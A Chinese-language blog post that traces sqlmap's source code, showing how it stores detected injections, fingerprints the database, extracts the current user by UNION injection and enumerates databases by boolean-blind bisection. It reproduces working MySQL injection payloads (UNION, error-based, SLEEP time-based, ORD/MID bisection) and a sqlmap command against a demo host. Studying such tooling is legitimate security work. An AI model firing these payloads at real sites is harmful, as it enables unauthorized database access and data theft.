sqlmap是web狗永远也绕不过去的神器,为了能自由的使用sqlmap,阅读源码还是有必要的…
开始注入
储存结果到文件
在注入之前,我们先把注入payload储存到文件。(当然是在开启的情况下)
1 | def _saveToResultsFile(): |
这里的kb.injections
就是我们的测试语句
1 | [{'dbms': 'MySQL', 'suffix': " AND '[RANDSTR]'='[RANDSTR]", 'clause': [1, 9], 'notes': [], 'ptype': 2, 'dbms_version': ['>= 5.5'], 'prefix': "'", 'place': 'POST', 'data': {1: {'comment': '', 'matchRatio': 0.744, 'title': 'AND boolean-based blind - WHERE or HAVING clause', 'templatePayload': None, 'vector': 'AND [INFERENCE]', 'where': 1, 'payload': u"user=user1' AND 9674=9674 AND 'ilwI'='ilwI"}, 2: {'comment': '', 'matchRatio': 0.744, 'title': 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)', 'templatePayload': None, 'vector': "AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))", 'where': 1, 'payload': u"user=user1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171717671,(SELECT (ELT(9141=9141,1))),0x716a787871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'Lpdv'='Lpdv"}, 5: {'comment': '', 'matchRatio': 0.744, 'title': 'MySQL >= 5.0.12 AND time-based blind', 'templatePayload': None, 'vector': 'AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])', 'where': 1, 'payload': u"user=user1' AND SLEEP([SLEEPTIME]) AND 'YMTj'='YMTj"}, 6: {'comment': '[GENERIC_SQL_COMMENT]', 'matchRatio': 0.744, 'title': 'Generic UNION query (NULL) - 1 to 20 columns', 'templatePayload': None, 'vector': (1, 2, '[GENERIC_SQL_COMMENT]', "'", " AND '[RANDSTR]'='[RANDSTR]", 'NULL', 1, False, False), 'where': 1, 'payload': u"user=user1' UNION ALL SELECT NULL,CONCAT(0x7171717671,0x455455665759535741516e444c6878675142594d565477695058624c7670534f71706b5954574f5a,0x716a787871)-- oVjT"}}, 'conf': {'code': None, 'string': u'user1', 'notString': None, 'titles': None, 'regexp': None, 'textOnly': None, 'optimize': None}, 'parameter': u'user', 'os': None}] |
储存到数据库
同样的,如果开启了储存到数据库选项,会预先把payload储存到数据库
1 | def _saveToHashDB(): |
展示注入payload
除了向文件输出以外,还要把payload输出到命令行
先做目标数量的判断
1 | if kb.testQueryCount > 0: |
然后展示语句
1 | if hasattr(conf, "api"): |
这里对应命令行是这样的
1 | sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests: |
根据位置进行注入
_selectInjection()
循环解包出目标
1 | for injection in kb.injections: |
这里举个例子
1 | python sqlmap.py -u http://demo.lorexxar.pw/post.php?id=2 --data user=user1 --dbs |
其中place为POST
parameter为user
ptype为2
(应该是注入列数)
而injection就是相应的注入语句
对于多目标和单目标有不同的逻辑
1 | l points) == 1: |
进入注入
确认目标后,进入注入,这里action()
就是注入逻辑
1 | if kb.injection.place is not None and kb.injection.parameter is not None: |
注入逻辑
获取数据库版本以及php版本
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
追溯源码到了getFingerprint()函数
1 | def getFingerprint(self): |
返回os
1 | wsOsFp = Format.getOs("web server", kb.headersFp) |
返回数据库版本
1 | value += "back-end DBMS: " |
跟着Format.getDbms()
1 | def getDbms(versions=None): |
然后追到Backend.getDbms()
1 | def getDbms(): |
这里只是改了个名
注入当前用户名
然后根据选项开始注入逻辑,首先是当前用户
1 | if conf.getCurrentUser: |
拼接查询目标
1 | query = queries[Backend.getIdentifiedDbms()].current_user.query |
这里的query返回了
1 | CURRENT_USER() |
然后开始注入逻辑
1 | if not kb.data.currentUser: |
追到inject里的
1 | def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): |
传入目标expression为CURRENT_USER()
获取注入有关数据
1 | if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): |
其中kb.injection.data[PAYLOAD.TECHNIQUE.UNION]是
1 | {'comment': '[GENERIC_SQL_COMMENT]', 'matchRatio': 0.744, 'title': 'Generic UNION query (NULL) - 1 to 20 columns', 'templatePayload': None, 'vector': (1, 2, '[GENERIC_SQL_COMMENT]', "'", " AND '[RANDSTR]'='[RANDSTR]", 'NULL', 1, False, False), 'where': 1, 'payload': u"user=user1' UNION ALL SELECT NULL,CONCAT(0x71626a7071,0x516c4d6874435a474655795351577850577a466c6b6f59494a534d574d6273524a45415776514f5a,0x7171787a71)-- HIuA"} |
发起注入请求
1 | try: |
这里的value已经获取到了返回hctfsqli1@localhost
追溯函数,传入的的参数:
1 | query = CURRENT_USER() |
_goUnion()为
1 | def _goUnion(expression, unpack=True, dump=False): |
追溯到unionUse()
首先是初始化
1 | initTechnique(PAYLOAD.TECHNIQUE.UNION) |
由于注入当前用户名可能不需要太复杂的处理,所以直接跳过中间的大段处理
1 | if not value and not abortedFlag: |
output为qbjpqhctfsqli1@localhostqqxzq
传入expression为CURRENT_USER()
进入_oneShotUnionUse(),首先是从session读取数据
1 | retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted |
如果没有,则继续,拼接payload是最重要的
1 | if not kb.rowXmlMode: |
这里的payload为
1 | user=__PAYLOAD_DELIMITER__user1' UNION ALL SELECT NULL,CONCAT(0x7176626271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x717a766271)-- SnOp__PAYLOAD_DELIMITER__ |
传入newValue为
1 | ' UNION ALL SELECT CONCAT(0x7170626b71,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716a7a7a71),NULL[GENERIC_SQL_COMMENT] |
让我们先来看看newValue是怎么拼接出来的,agent.concatQuery
是用来拼接处CONCAT语句的
拼接
1 | if unpack: |
这里concatenatedQuery
1 | IFNULL(CAST(CURRENT_USER() AS CHAR),' ') |
针对不同数据库的改变
1 | if Backend.isDbms(DBMS.MYSQL): |
返回
1 | CONCAT('qqbjq',IFNULL(CAST(CURRENT_USER() AS CHAR),' '),'qqpvq') |
然后forgeUnionQuery来拼接
1 | query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) |
这个函数的作用是
1 | MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user |
和上面的逻辑大同小异,就不贴代码了
拼接好payload就要请求了
1 | page, headers = Request.queryPage(payload, content=True, raise404=False) |
这里的返回时
1 | <table><tr><th>id</th><th>name</th></tr><tr><td>1</td><td>user1</td></tr><tr><td></td><td>qzxjqhctfsqli1@localhostqbbqq</td></tr></table> Server: nginx |
解包出结果
1 | if not kb.rowXmlMode: |
这里获取到的retVal就是返回值,而传入的(?P
1 | (?P<result>qjpvq.*qpbjq) |
然后返回到最初,输出current user: 'hctfsqli1@localhost'
注数据库名字
由于注入有很多选项,这里就只以数据库名字作为例子
1 | if conf.getDbs: |
首先是判断information.schema能不能被注
1 | if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: |
发起注入,由于阅读源码更重要在于分析代码逻辑,所以这次使用bool型盲注来注入数据,
1 | if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: |
这里首先是注入数据数量,query为基础payload
1 | SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA |
进入注入逻辑
1 | if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: |
核心请求为
1 | value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) |
而对应的参数是
1 | SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA False False True 2 None None False |
二分法实现注入逻辑
1 | elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): |
这里的 expression, expressionFields, expressionFieldsList, payload分别是
1 | SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA |
追过去,发现做了基本的处理
1 | def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): |
里面payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field分别为
1 | user=__PAYLOAD_DELIMITER__user1' AND ORD(MID((%s),%d,1))>%d AND 'yejJ'='yejJ__PAYLOAD_DELIMITER__ |
追溯到注入逻辑
1 | def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): |
多线程的判断
1 | if numThreads > 1: |
当然这里是单线程的
1 | while True: |
这里的val就是每次注入的一个字符,这里比较重要的就是val = getChar(index, asciiTbl),这里index为第几位,asciiTbl则为可能的ascii表
对于数字和字符有不同的ascii表
1 | 数字 |
二分法,首先定义最大最小字符
1 | maxChar = maxValue = charTbl[-1] |
进入循环,构造payload,每次取中间的那一位len(charTbl) >> 1
1 | tion = (len(charTbl) >> 1) |
二分法需要两个payload,然后发起请求
1 | result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) |
如果result是ture,那么当前值设置为最小值,前面所有值去掉,false同理
1 | if result: |
这样最多7次,就可以确定其中一位了
时间盲注逻辑相同…
由于python水平还是有限,这次读源码就到这里了,有机会在深入读吧